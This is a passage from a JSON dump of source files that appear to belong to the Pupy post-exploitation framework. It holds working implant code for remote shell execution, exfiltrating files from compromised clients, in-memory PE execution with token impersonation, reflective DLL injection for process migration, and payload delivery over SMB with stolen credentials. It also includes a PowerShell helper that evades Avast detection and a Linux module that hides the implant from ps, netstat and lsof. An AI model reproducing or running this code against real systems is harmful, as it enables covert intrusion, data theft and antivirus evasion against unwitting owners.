    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom threading import Event\n\nimport sys\n\nif sys.version_info.major > 2:\n    from queue import Queue, Empty\n    from io import BytesIO\n\n    xrange = range\nelse:\n    from Queue import Queue, Empty\n    from StringIO import StringIO as BytesIO\n\nfrom io import open\n\nimport tarfile\nimport tempfile\n\nimport stat\nimport os\nimport os.path\nimport zlib\nimport errno\nimport umsgpack\n\nFIELDS_MAP = {\n    x:y for x,y in enumerate([\n        'st_mtime', 'st_gid', 'st_uid', 'st_mode', 'st_rdev'\n    ])\n}\n\nF_TYPE     = 0\nF_PATH     = 1\nF_FILES    = 2\nF_SIZE     = 3\nF_DATA     = 4\nF_EXC      = 5\nF_STAT     = 6\nF_ROOT     = 7\n\nT_SIZE     = 0\nT_FILE     = 1\nT_CONTENT  = 2\nT_ZCONTENT = 3\nT_SPARSE   = 4\nT_CLOSE    = 5\nT_C_EXC    = 6\nT_DIRVIEW  = 7\nT_EXC      = 8\nT_FINISH   = 9\n\nD_ROOT     = 0\nD_DIRS     = 1\nD_SYMS     = 2\nD_HARDS    = 3\nD_SPECIALS = 4\nD_EMPTY    = 5\nD_FILES    = 6\n\nclass DownloadFronted(object):\n    def __init__(self, client, exclude=None, include=None, follow_symlinks=False,\n                 ignore_size=False, no_single_device=False,\n                     honor_single_file_root=False, verbose=None, success=None, error=None):\n\n        self.client = client\n\n        self._exclude = exclude\n        self._include = include\n        self._follow_symlinks = follow_symlinks\n        self._ignore_size = ignore_size\n        self._no_single_device = no_single_device\n        self._honor_single_file_root = honor_single_file_root\n\n        self._verbose = verbose\n        self._success = success\n        self._error = error\n\n        self._completed = Event()\n        self._terminate = None\n        self._local_path = None\n        self._remote_path = None\n        self._files_count = None\n        self._files_size = None\n        self._last_directory = None\n        self._current_file = None\n        self._current_file_name = None\n        self._current_file_dir = ''\n        self._current_file_dir_raw = ''\n        self._download_dir = None\n        self._pending_symlinks = {}\n        self._pending_metadata = {}\n        self._archive = None\n        self._archive_file = None\n        self._queue = Queue()\n\n        self._last_downloaded_dest = None\n\n        self._transfer_stop = None\n\n    def du(self, remote_file, obj):\n        self._terminate = obj.du(\n            remote_file, self._submit_message, self._exclude, self._include,\n            self._follow_symlinks, self._no_single_device)\n\n        self._process_queue()\n        self._terminate = None\n\n        if self._files_count is not None and self._files_size is not None:\n            return self._files_count, self._files_size\n        else:\n            return None, None\n\n    def _setup_context(self, remote_file, local_file, archive):\n        if local_file:\n            local_file = os.path.expandvars(local_file)\n\n            if os.path.isdir(local_file):\n                self._download_dir = local_file\n            else:\n                self._local_path = local_file\n        else:\n            filesdir = self.client.pupsrv.config.get_folder(\n                'downloads', {'%c': self.client.short_name()})\n\n            self._download_dir = filesdir\n\n        if self._download_dir:\n            if not os.path.exists(self._download_dir):\n                os.makedirs(self._download_dir)\n\n            self._last_directory = self._download_dir\n        else:\n            top_dir = os.path.dirname(self._local_path)\n            if not os.path.isdir(top_dir):\n                os.makedirs(top_dir)\n\n        if archive:\n            if self._download_dir and remote_file:\n                archive = remote_file.replace('/', '!').replace('\\\\', '!')\n                while True:\n                    if archive.startswith('!'):\n                        archive = archive[1:]\n                    elif archive.endswith('!'):\n                        archive = archive[:-1]\n                    else:\n                        break\n\n                archive += '.tgz'\n                archive = os.path.join(self._download_dir, archive)\n            else:\n                archive = self._local_path\n\n            if os.path.isfile(archive):\n                os.unlink(archive)\n\n            self._archive_file = archive\n            self._archive = tarfile.open(self._archive_file, mode='w:gz')\n\n    @property\n    def dest_file(self):\n        return self._archive_file or self._last_downloaded_dest \\\n            or self._download_dir or self._local_path\n\n    def download(self, remote_file,\n            local_file=None, archive=False, chunk_size=1*1024*1024):\n\n        self._setup_context(remote_file, local_file, archive)\n\n        transfer = self.client.remote('transfer', 'transfer', False)\n        self._terminate = transfer(\n            remote_file, self._submit_message, self._exclude, self._include,\n            self._follow_symlinks, self._ignore_size, self._no_single_device, chunk_size)\n\n        if self._verbose:\n            if self._archive:\n                self._verbose('Download: {} -> tgz:{}'.format(\n                    remote_file, self.dest_file))\n            else:\n                self._verbose('Download: {} -> {}'.format(\n                    remote_file, self.dest_file))\n\n        self.process()\n        self._terminate = None\n\n    def create_download_callback(self, local_file=None, archive=False):\n        self._setup_context(None, local_file, archive)\n\n        transfer_closure = self.client.remote('transfer', 'transfer_closure', False)\n\n        closure, self._transfer_stop, self._terminate = transfer_closure(\n            self._submit_message, self._exclude, self._include,\n            self._follow_symlinks, self._ignore_size, self._no_single_device)\n\n        return closure, self._transfer_stop\n\n    def stop(self):\n        if self._transfer_stop:\n            self._transfer_stop()\n            self._transfer_stop = None\n\n    def process(self):\n        self._process_queue()\n        if self._archive:\n            self._archive.close()\n            self._archive = None\n\n    def _process_queue(self):\n        while not self._completed.is_set():\n            data, exception = self._queue.get()\n            self._callback(data, exception)\n\n    def _submit_message(self, data, exception):\n        if not self._completed.is_set():\n            self._queue.put((data, exception))\n\n    def _callback(self, data, exception):\n        try:\n            self._callback_unsafe(data, exception)\n        except Exception as e:\n            if self._error:\n                import traceback\n                self._error('Internal error: {} / {}'.format(e, traceback.format_exc()))\n\n            if self._terminate:\n                self._terminate()\n\n    def _callback_unsafe(self, data, exception):\n        if self._completed.is_set():\n            return\n\n        if exception and self._error:\n            self._error('{}'.format(exception))\n\n        if not data:\n            self._completed.set()\n\n        else:\n            data = BytesIO(data)\n\n            while not self._completed.is_set():\n                try:\n                    msg = umsgpack.unpack(data)\n                except umsgpack.InsufficientDataException:\n                    break\n\n                self._handle_msg(msg)\n\n    def _split_path(self, path):\n        _path = []\n        for portion in path.split('/'):\n            _path.append(portion)\n\n        path = _path\n        _path = []\n\n        for p in path:\n            for portion in p.split('\\\\'):\n                _path.append(portion)\n\n        return _path\n\n    def _check_path(self, path):\n        return os.path.sep.join(self._check_name(p) for p in self._split_path(path) if p)\n\n    def _check_name(self, name):\n        if os.path.sep in name or name == '..':\n            raise ValueError('Invalid path: {}'.format(name))\n        return name\n\n    def _get_path(self, msg):\n        path = ''\n        msgtype = msg[F_TYPE]\n\n        if msgtype == T_DIRVIEW:\n            path = msg[F_DATA][D_ROOT]\n        elif msgtype == T_FILE:\n            if F_ROOT in msg and self._honor_single_file_root:\n                path = msg[F_ROOT]\n\n            if F_PATH in msg:\n                path = os.path.join(path, msg[F_PATH])\n        else:\n            raise ValueError('Invalid Message passed to _get_path')\n\n        return self._check_path(path)\n\n    def _meta(self, meta):\n        return {\n            FIELDS_MAP[x]:y for x,y in enumerate(meta)\n        }\n\n    def _handle_msg(self, msg):\n        msgtype = msg[F_TYPE]\n\n        if msgtype == T_SIZE:\n            self._files_count = msg[F_FILES]\n            self._files_size = msg[F_SIZE]\n            self._remote_path = msg[F_PATH]\n\n        elif msgtype == T_FILE:\n            if self._current_file:\n                raise ValueError('Invalid order of messages')\n\n            self._current_file_name = self._get_path(msg)\n\n            if F_STAT in msg:\n                self._pending_metadata[self._current_file_name] = msg[F_STAT]\n\n            if self._last_directory:\n                filepath = self._current_file_name\n                filepath = os.path.join(self._last_directory, filepath)\n            else:\n                filepath = self._local_path\n\n            if F_ROOT in msg:\n                if self._honor_single_file_root and not self._archive:\n                    try:\n                        os.makedirs(os.path.dirname(filepath))\n                    except OSError as e:\n                        if e.errno != errno.EEXIST:\n                            if self._error:\n                                self._error('{}: {}'.format(filepath, e))\n                    except Exception as e:\n                        if self._error:\n                            self._error('{}: {}'.format(filepath, e))\n\n                self._last_downloaded_dest = filepath\n\n            if self._archive:\n                self._current_file = tempfile.TemporaryFile()\n                if self._verbose:\n                    self._verbose('{}'.format(self._current_file_name))\n            else:\n                filedir = os.path.dirname(filepath)\n\n                # Workaround for archives unpacking\n                if not os.path.isdir(filedir):\n                    if os.path.isfile(filedir):\n                        os.unlink(filedir)\n\n                    os.makedirs(filedir)\n\n                self._current_file = open(filepath, 'wb')\n\n                if self._verbose:\n                    self._verbose('{}'.format(filepath))\n\n        elif msgtype == T_SPARSE:\n            if not self._current_file:\n                raise ValueError('Invalid order of messages')\n\n            zeros = msg[F_DATA]\n            self._current_file.seek(zeros-1, os.SEEK_CUR)\n            self._current_file.write('\\0')\n\n        elif msgtype in (T_CONTENT, T_ZCONTENT):\n            if not self._current_file:\n                raise ValueError('Invalid order of messages')\n\n            content = msg[F_DATA]\n            if msgtype == T_ZCONTENT:\n                content = zlib.decompress(content)\n\n            self._current_file.write(content)\n\n        elif msgtype == T_EXC:\n            if self._error:\n                self._error('Error: {}/{}'.format(msg[F_EXC], msg[F_DATA]))\n\n        elif msgtype == T_FINISH:\n            if self._success:\n                self._success('Completed: {} -> {}'.format(\n                    msg[F_DATA], self.dest_file))\n\n        elif msgtype in (T_CLOSE, T_C_EXC):\n            if not self._current_file:\n                raise ValueError('Invalid order of messages')\n\n            if self._archive:\n                self._current_file.flush()\n                size = self._current_file.tell()\n\n                info = tarfile.TarInfo()\n                info.type = tarfile.REGTYPE\n                info.name = os.path.join(self._current_file_dir, self._current_file_name)\n                info.size = size\n\n                if self._current_file_name in self._pending_metadata:\n                    meta = self._meta(self._pending_metadata[self._current_file_name])\n                    info.mtime = meta['st_mtime']\n                    info.mode = meta['st_mode']\n                    info.uid = meta['st_uid']\n                    info.gid = meta['st_gid']\n\n                self._current_file.seek(0, os.SEEK_SET)\n                self._archive.addfile(info, self._current_file)\n\n            self._current_file.close()\n            self._current_file = None\n\n            if self._current_file_name in self._pending_metadata:\n                del self._pending_metadata[self._current_file_name]\n\n            if msgtype == T_C_EXC:\n                if self._verbose:\n                    self._verbose('{} - {}'.format(msg[F_DATA], msg[F_EXC]))\n\n        elif msgtype == T_DIRVIEW:\n            dirview = msg[F_DATA]\n            self._current_file_dir = self._get_path(msg)\n            self._current_file_dir_raw = dirview[D_ROOT]\n\n            if not self._archive:\n                if not self._download_dir:\n                    self._download_dir = self._local_path\n\n                self._last_directory = os.path.join(\n                    self._download_dir, self._current_file_dir)\n\n                if not os.path.isdir(self._last_directory):\n                    os.makedirs(self._last_directory)\n\n            for d, meta in dirview[D_DIRS]:\n                meta = self._meta(meta)\n\n                if self._archive:\n                    info = tarfile.TarInfo()\n                    info.name = os.path.join(self._current_file_dir, self._check_name(d))\n                    info.type = tarfile.DIRTYPE\n                    info.mtime = meta['st_mtime']\n                    info.mode = meta['st_mode']\n                    info.uid = meta['st_uid']\n                    info.gid = meta['st_gid']\n                    self._archive.addfile(info)\n\n                else:\n                    subdir = os.path.join(self._last_directory, self._check_name(d))\n                    if not os.path.isdir(subdir):\n                        os.mkdir(subdir)\n\n            for z, meta in dirview[D_EMPTY]:\n                meta = self._meta(meta)\n\n                if self._archive:\n                    info = tarfile.TarInfo()\n                    info.name = os.path.join(self._current_file_dir, self._check_name(z))\n                    info.type = tarfile.REGTYPE\n                    info.mtime = meta['st_mtime']\n                    info.mode = meta['st_mode']\n                    info.uid = meta['st_uid']\n                    info.gid = meta['st_gid']\n                    info.size = 0\n                    self._archive.addfile(info)\n\n                else:\n                    with open(os.path.join(self._last_directory, self._check_name(z)), 'wb'):\n                        pass\n\n            for s, lnk in dirview[D_SYMS]:\n                if self._archive:\n                    info = tarfile.TarInfo()\n                    info.name = os.path.join(self._current_file_dir, self._check_name(s))\n\n                    info.type = tarfile.SYMTYPE\n                    info.linkname = lnk\n                    self._archive.addfile(info)\n\n                else:\n                    s = os.path.join(self._last_directory, self._check_name(s))\n                    if os.path.islink(s) or os.path.exists(s):\n                        os.unlink(s)\n\n                    lnk = self._split_path(lnk)\n                    symto = os.path.sep.join(lnk)\n\n                    if self.client.is_windows():\n                        if symto.startswith(os.path.sep) or ':' in symto:\n                            symto = os.path.relpath(\n                                symto.upper(),\n                                start=self._current_file_dir.upper()\n                            ).split(os.path.sep)\n\n                            for i in xrange(min(len(symto), len(lnk))):\n                                if symto[-i-1] == '..':\n                                    break\n\n                                if symto[-i-1].upper() == lnk[-i-1].upper():\n                                    symto[-i-1] = lnk[-i-1]\n\n                            symto = os.path.sep.join(symto)\n\n                    else:\n                        if symto.startswith(os.path.sep):\n                            symto = os.path.relpath(\n                                symto,\n                                start=self._current_file_dir_raw\n                            )\n\n                    os.symlink(symto, s)\n\n            if self._archive:\n                for s, meta, lnk in dirview[D_HARDS]:\n                    meta = self._meta(meta)\n\n                    info = tarfile.TarInfo()\n                    info.name = os.path.join(self._current_file_dir, self._check_name(s))\n                    info.type = tarfile.SYMTYPE\n                    info.linkname = lnk\n                    info.mtime = meta['st_mtime']\n                    info.mode = meta['st_mode']\n                    info.uid = meta['st_uid']\n                    info.gid = meta['st_gid']\n\n                    self._archive.addfile(info)\n\n                for spec, meta in dirview[D_SPECIALS]:\n                    meta = self._meta(meta)\n\n                    info = tarfile.TarInfo()\n                    info.name = os.path.join(self._current_file_dir, self._check_name(spec))\n\n                    device = False\n\n                    if meta['st_mode'] & 0o170000 == stat.S_IFIFO:\n                        info.type = tarfile.FIFOTYPE\n                    elif meta['st_mode'] & 0o170000 == stat.S_IFBLK:\n                        info.type = tarfile.BLKTYPE\n                        device = True\n                    elif meta['st_mode'] & 0o170000 == stat.S_IFCHR:\n                        info.type = tarfile.CHRTYPE\n                        device = True\n                    elif meta['st_mode'] & 0o170000 == stat.S_IFSOCK:\n                        info.type = tarfile.CONTTYPE\n                    else:\n                        continue\n\n                    info.mtime = meta['st_mtime']\n                    info.mode = meta['st_mode']\n                    info.uid = meta['st_uid']\n                    info.gid = meta['st_gid']\n\n                    if device and hasattr(os, \"major\") and hasattr(os, \"minor\"):\n                        info.devmajor = os.major(meta['st_rdev'])\n                        info.devminor = os.minor(meta['st_rdev'])\n\n                    self._archive.addfile(info)\n\n            self._pending_metadata = dirview[D_FILES]\n\n    def interrupt(self):\n        if self._completed.is_set():\n            return\n\n        try:\n            if self._terminate:\n                self._terminate()\n\n                self._completed.wait(5)\n                self._terminate = None\n\n        finally:\n            self._completed.set()\n            self._submit_message(None, None)\n\n    def __del__(self):\n        if self._current_file is not None:\n            self._current_file.close()\n            self._current_file = None\n\n        if self._archive is not None:\n            self._archive.close()\n            self._archive = None\n\n        self._transfer = None\n        self._worker = None\n"
  },
  {
    "path": "pupy/modules/lib/utils/shell_exec.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport subprocess\n\ndef shell_exec(client, cmdline, shell=None, env=None, encoding=None):\n    \"\"\" cmdline can be either a list of arguments or a string \"\"\"\n\n    check_output = client.remote('subprocess', 'check_output')\n\n    res = ''\n\n    try:\n        if client.is_android():\n            if shell is None:\n                shell=\"/system/bin/sh\"\n        if shell is None:\n            res = check_output(\n                cmdline,\n                stderr = subprocess.STDOUT,\n                stdin = subprocess.PIPE,\n                shell = True,\n                universal_newlines = True,\n                env=env\n            )\n        else:\n            if client.is_windows():\n                command=[shell, '/c', cmdline]\n            else:\n                command=[shell, '-c', cmdline]\n\n            res = check_output(\n                command,\n                stderr=subprocess.STDOUT,\n                stdin=subprocess.PIPE,\n                universal_newlines=True,\n                env=env\n            )\n\n    except Exception as e:\n        if hasattr(e, 'output') and e.output:\n            res = e.output\n        else:\n            res = str(e)\n\n    if encoding:\n        try:\n            res = res.decode(encoding)\n        except Exception:\n            pass\n\n    return res\n"
  },
  {
    "path": "pupy/modules/lib/windows/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/modules/lib/windows/memory_exec.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE\n# file at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.utils.pe import get_pe_arch, is_dotnet_bin\nfrom pupy.modules.lib.utils.cmdrepl import CmdRepl\n\nimport threading\n\n\ndef exec_pe(\n    module, prog_args, path=None, raw_pe=None,\n    interactive=False, use_impersonation=False,\n        suspended_process='cmd.exe', codepage=None, wait=True):\n\n    if not raw_pe and not path:\n        raise Exception(\"raw_pe or path must be supplied\")\n\n    if path:\n        pe_arch = get_pe_arch(path)\n        proc_arch = module.client.desc[\"proc_arch\"]\n        if pe_arch != proc_arch:\n            module.error(\n                '%s is a %s PE and your pupy payload is a %s process. '\n                'Please inject a %s PE or migrate into a %s process first' % (\n                    path, pe_arch, proc_arch, proc_arch, pe_arch\n                )\n            )\n            return\n\n        if is_dotnet_bin(path):\n            module.error(\n                '%s is a .Net binary. Right now this kind of '\n                'binary is not managed and cannot be loaded '\n                'in memory.' % path\n            )\n            return\n\n    if not raw_pe:\n        raw_pe = b''\n        with open(path, 'rb') as f:\n            raw_pe = f.read()\n\n    dupHandle = None\n    if use_impersonation:\n        dupHandle = module.client.impersonated_dupHandle\n        if dupHandle is None:\n            module.error(\n                'No token has been impersonated on this session. '\n                'use impersonate module first'\n            )\n            return\n\n    if not hasattr(module, 'mp'):\n        setattr(module, 'mp', None)\n\n    mp = module.client.conn.modules[\n        'pupwinutils.memexec'\n    ].MemoryPE(\n        raw_pe, args=prog_args, hidden=True,\n        suspended_process=suspended_process,\n        dupHandle=dupHandle\n    )\n\n    module.mp = mp\n    complete = threading.Event()\n    stdout = None\n\n    if interactive:\n        repl, _ = CmdRepl.thread(\n            module.stdout,\n            mp.write,\n            complete,\n            True, None,\n            codepage\n        )\n\n        module.client.conn.register_remote_cleanup(\n            mp.close\n        )\n\n        if mp.execute(complete.set, repl._con_write):\n            complete.wait()\n            mp.close()\n\n            module.client.conn.unregister_remote_cleanup(\n                mp.close\n            )\n\n            module.success('Process exited. Press ENTER')\n        else:\n            complete.set()\n            module.error('Launch failed. Press ENTER')\n    else:\n        pid = mp.execute(complete.set, module.log)\n        if pid:\n            module.success('[Process launched: PID={}]'.format(pid))\n\n            if not wait:\n                mp.close()\n                module.mp = None\n                return\n\n            complete.wait()\n\n            stdout = mp.stdout\n            mp.close()\n            module.mp = None\n        else:\n            module.error('Launch failed')\n\n    return stdout\n"
  },
  {
    "path": "pupy/modules/lib/windows/migrate.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nimport time\n\nfrom pupy.cli import pupygen\n\nfrom pupy.pupylib.payloads.dependencies import Target\n\nif sys.version_info.major > 2:\n    xrange = range\n\n\ndef has_proc_migrated(client, pid):\n    for c in client.pupsrv.clients:\n        if int(c.desc['pid']) != pid:\n            continue\n\n        for field in ('hostname', 'macaddr'):\n            if c.desc.get(field) == client.desc.get(field):\n                return c\n\n    return None\n\n\ndef migrate(\n    module, pid, keep=False, timeout=30, bindPort=None,\n        debug=False, from_payload=None):\n    '''\n    - bindPort: The port used for listening on the target WHEN the current\n                launcher uses a BIND connection. When the current launcher\n                uses a BIND connection, this session is kept even if\n                keep==False. When bindPort!=None and the current launcher\n                uses a REVERSE connection (e.g. connect, auto_proxy),\n                bindPort is not used in this function\n    '''\n    module.client.load_package('pupwinutils.processes')\n    isProcess64bits = False\n    # If current launcher uses a BIND connection, isBindConnection == True\n    isBindConnection = False\n\n    pid = int(pid)\n\n    module.success('looking for process {} architecture ...'.format(pid))\n\n    is_process_64 = module.client.remote(\n        'pupwinutils.processes', 'is_process_64'\n    )\n\n    target = None\n\n    if is_process_64(pid):\n        isProcess64bits = True\n        module.info('Process is 64 bits')\n        target = Target(\n            module.client.target.pyver,\n            platform=(\n                'windows', 'amd64'\n            ),\n            debug=debug\n        )\n    else:\n        target = Target(\n            module.client.target.pyver,\n            platform=(\n                'windows', 'x86'\n            ),\n            debug=debug\n        )\n        module.info(\"process is 32 bits\")\n\n    dllbuff = None\n    if from_payload:\n        with open(from_payload, 'rb') as payload:\n            dllbuff = payload.read()\n\n        keep = True\n        module.success('Precompiled payload: {}'.format(from_payload))\n    else:\n        conf = module.client.get_conf()\n\n        # Manage when current launcher uses a BIND connection\n        # (and not a REVERSE connection)\n\n        if module.client.desc['launcher'] not in ('connect', 'auto_proxy'):\n            keep = True\n            module.warning('Enable keep (forced)')\n\n        if module.client.desc['launcher'] == \"bind\":\n            isBindConnection = True\n            module.success('The current launcher uses a bind connection')\n            module.success(\n                'The bind port {0} is defined in DLL configuration'.format(\n                    bindPort)\n            )\n\n            conf['launcher_args'][\n                conf['launcher_args'].index(\"--port\")+1] = str(bindPort)\n\n        dllbuff, filename, _ = pupygen.generate_binary_from_template(\n            module.log, conf, target, shared=True\n        )\n\n        module.success('Template: {}'.format(filename))\n\n    if not isinstance(dllbuff, (bytes, bytearray)):\n        raise ValueError(\n            'Template expected to be bytes object. Got ({}) instead'.format(\n                type(dllbuff)\n            )\n        )\n\n    if module.config.getboolean('pupyd', 'alt_header'):\n        module.warning('Using ALT markers')\n        # Use ALT markers to simplify debugging\n        for offt in xrange(0, 1024, 4):\n            if dllbuff[offt:offt+4] == b'PE\\0\\0':\n                dllbuff = b''.join([\n                    b'HE',\n                    dllbuff[2:offt],\n                    b'\\xb5\\x00[\\xb1',\n                    dllbuff[offt+4:]\n                ])\n\n    dllbuff = bytes(dllbuff)\n\n    module.success(\n        'Injecting DLL into the target process {} ...'.format(pid)\n    )\n\n    reflective_inject_dll = module.client.remote(\n        'pupy.agent', 'reflective_inject_dll', False\n    )\n\n    reflective_inject_dll(\n        int(pid), dllbuff, bool(isProcess64bits)\n    )\n\n    module.success('DLL injected')\n\n    if keep or isBindConnection:\n        return\n\n    module.success('Waiting for a connection from the DLL ...')\n    time_end = time.time() + timeout\n    c = False\n    while True:\n        c = has_proc_migrated(module.client, pid)\n        if c:\n            module.success('Got a connection from migrated DLL')\n            c.pupsrv.move_id(c, module.client)\n            module.client.conn.exit()\n            module.success('Migration completed')\n            break\n\n        elif time.time() > time_end:\n            module.error('Migration timed out')\n            break\n\n        time.sleep(0.5)\n"
  },
  {
    "path": "pupy/modules/lib/windows/powerloader.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'serve',\n)\n\nfrom io import open\nfrom os import unlink\nfrom threading import Event\n\nfrom pupy.cli.pupygen import generate_binary_from_template\nfrom pupy.pupylib.payloads.dotnet import DotNetPayload\n\nDEFAULT_TIMEOUT = 90\n\n\ndef serve(\n    module, payload_config, timeout=DEFAULT_TIMEOUT,\n    host=None, port=445, user=None, domain=None, password=None,\n        ntlm=None, execm='smbexec', arch=None):\n\n    if arch is None:\n        # Use native arch\n        arch = module.client.arch\n\n    payload, tpl, _ = generate_binary_from_template(\n        module.log, payload_config, module.client.target,\n        shared=True\n    )\n\n    module.success(\n        'Generating native payload with the current '\n        'config from {} - size={}'.format(\n            tpl, len(payload)\n        )\n    )\n\n    dotnet_payload_path = DotNetPayload(\n        module.log, module.client.pupsrv, payload_config, payload\n    ).gen_exe(options='-target:library')\n\n    dotnet_payload = None\n\n    if not dotnet_payload_path:\n        module.error(\".NET Compilation failed\")\n        return\n\n    with open(dotnet_payload_path, 'rb') as dotnet_payload_obj:\n        dotnet_payload = dotnet_payload_obj.read()\n\n    unlink(dotnet_payload_path)\n\n    module.success(\n        'Wrapped .NET payload - size={}'.format(len(dotnet_payload))\n    )\n\n    push_payload = None\n\n    if host is None:\n        module.client.load_package('powerloader')\n        push_payload = module.client.remote(\n            'powerloader', 'push_payload', False\n        )\n    else:\n        module.client.load_package('pupyutils.psexec')\n        pupy_smb_exec = module.client.remote(\n            'pupyutils.psexec', 'pupy_smb_exec', False\n        )\n\n        def _push_payload(payload, timeout=90, log_cb=None):\n            return pupy_smb_exec(\n                host, port, user, domain, password, ntlm, payload,\n                execm=execm, timeout=timeout, log_cb=log_cb\n            )\n\n        push_payload = _push_payload\n\n    completion = Event()\n\n    def _power_logger(result, info):\n        hostinfo = ''\n        if host is not None:\n            hostinfo = ' ({})'.format(host)\n\n        if result is None:\n            module.info('PowerLoader{}: {}'.format(hostinfo, info))\n            return\n\n        if result is False:\n            module.error('PowerLoader{}: {}'.format(hostinfo, info))\n        elif result is True:\n            module.success('PowerLoader{}: {}'.format(hostinfo, info))\n\n        if completion:\n            completion.set()\n\n    cmd, pipename = push_payload(\n        dotnet_payload, timeout=timeout, log_cb=_power_logger)\n\n    if not cmd or not pipename:\n        module.error('PowerLoader: failed')\n        return None, None\n\n    module.success(\n        'PowerLoader: Serving payload to '\n        'pipe={} for {} seconds'.format(\n            pipename, timeout\n        )\n    )\n\n    return cmd, completion\n"
  },
  {
    "path": "pupy/modules/lib/windows/powershell.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport re\n\ndef remove_comments(string):\n    '''\n    Remove comments in powershell script\n    '''\n    pattern = r\"(\\\".*?\\\"|\\'.*?\\')|(<#.*?#>|#[^\\r\\n]*$)\"\n    # first group captures quoted strings (double or single)\n    # second group captures comments (#single-line or <# multi-line #>)\n    regex = re.compile(pattern, re.MULTILINE|re.DOTALL)\n\n    def _replacer(match):\n        # if the 2nd group (capturing comments) is not None,\n        # it means we have captured a non-quoted (real) comment string.\n        if match.group(2) is not None:\n            return \"\" # so we will return empty to remove the comment\n        else: # otherwise, we will return the 1st group\n            return match.group(1) # captured quoted-string\n    return regex.sub(_replacer, string)\n\ndef obfs_ps_script(script):\n    \"\"\"\n    Strip block comments, line comments, empty lines, verbose statements,\n    and debug statements from a PowerShell source file.\n    \"\"\"\n    # strip block comments\n    strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', script)\n    # strip blank lines, lines starting with #, and verbose/debug statements\n    strippedCode = \"\\n\".join([line for line in strippedCode.split('\\n') if ((line.strip() != '') and (not line.strip().startswith(\"#\")) and (not line.strip().lower().startswith(\"write-verbose \")) and (not line.strip().lower().startswith(\"write-debug \")))])\n    return strippedCode\n\ndef obfuscatePowershellScript(code):\n    '''\n    Try to clean powershell script (perhaps in the future 'obfuscation'...).\n    Comments are deteleted and some strings are replaced in some powershell functions to bypass AV detection\n    '''\n    newCode = code\n    newCode = remove_comments(newCode)\n    newCode = obfs_ps_script(newCode)\n    # For Avast detection bypass. Very easy to bypass the AV detection : Shame on you Avast -:)\n    # Notice only Avast and Ikarus detect Invoke-ReflectivePEInjection.ps1 as a 'virus' (BV:AndroDrp-B [Drp], HackTool.Win32.Mikatz)\n    if \"function Invoke-ReflectivePEInjection\" in newCode:\n        newCode = newCode.replace(\"$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null\", \"$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERIS'+'TICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null\")\n    return newCode\n"
  },
  {
    "path": "pupy/modules/lib/windows/winpcap.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyErrors import PupyModuleError\n\nNPCAP_NOT_FOUND = '''\nWinPCAP is not installed. You should install NPcap driver.\nStandard version can be found here: https://github.com/nmap/npcap/releases\nOEM Version which supports silent install can be extracted from NMap installer.\nNmap 7.70 can be found here: https://nmap.org/dist/nmap-7.70-setup.exe.\nOnly OEM installer supports silent install (/S) option.\n'''\n\nKNOWN_DRIVERS = [\n    r'system32\\NPcap\\Packet.dll',\n    r'system32\\Packet.dll'\n]\n\ndef init_winpcap(client):\n    exists = client.remote('os.path', 'exists', False)\n    getenv = client.remote('os', 'getenv', False)\n    environ = client.remote('os', 'environ', False)\n\n    windir = getenv('WINDIR')\n    if not windir:\n        windir = r'C:\\Windows'\n\n    if not any(exists(windir+'\\\\'+x) for x in KNOWN_DRIVERS):\n        raise PupyModuleError(NPCAP_NOT_FOUND)\n\n    PATH = getenv('Path')\n    if 'NPcap' not in PATH:\n        environ['Path'] = PATH + ';' + windir+r'\\system32\\NPcap'\n"
  },
  {
    "path": "pupy/modules/linux_stealth.py",
    "content": "#!/usr/bin/env python\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import (\n    config, PupyModule, PupyArgumentParser,\n    QA_UNSTABLE\n)\nfrom pupy.pupylib.utils.rpyc_utils import redirected_stdio\n\n__class_name__=\"SetStealth\"\n\n@config(compat=\"linux\", cat=\"manage\")\nclass SetStealth(PupyModule):\n    \"\"\"Hides the running process from netstat, ss, ps, lsof by using modified binaries.\nCredits to: http://www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/\nDemo: https://vimeo.com/157356150\"\"\"\n\n    dependencies=[\"linux_stealth\"]\n    qa = QA_UNSTABLE\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"Linux Stealth Module\", description=cls.__doc__)\n        cls.arg_parser.add_argument('--port', default=None, help='The port number to which Pupy is connecting to.')\n\n    def run(self, args):\n        with redirected_stdio(self):\n            self.client.conn.modules['linux_stealth'].run(args.port)\n        self.success(\"Module executed successfully.\")\n"
  },
  {
    "path": "pupy/modules/load_package.py",
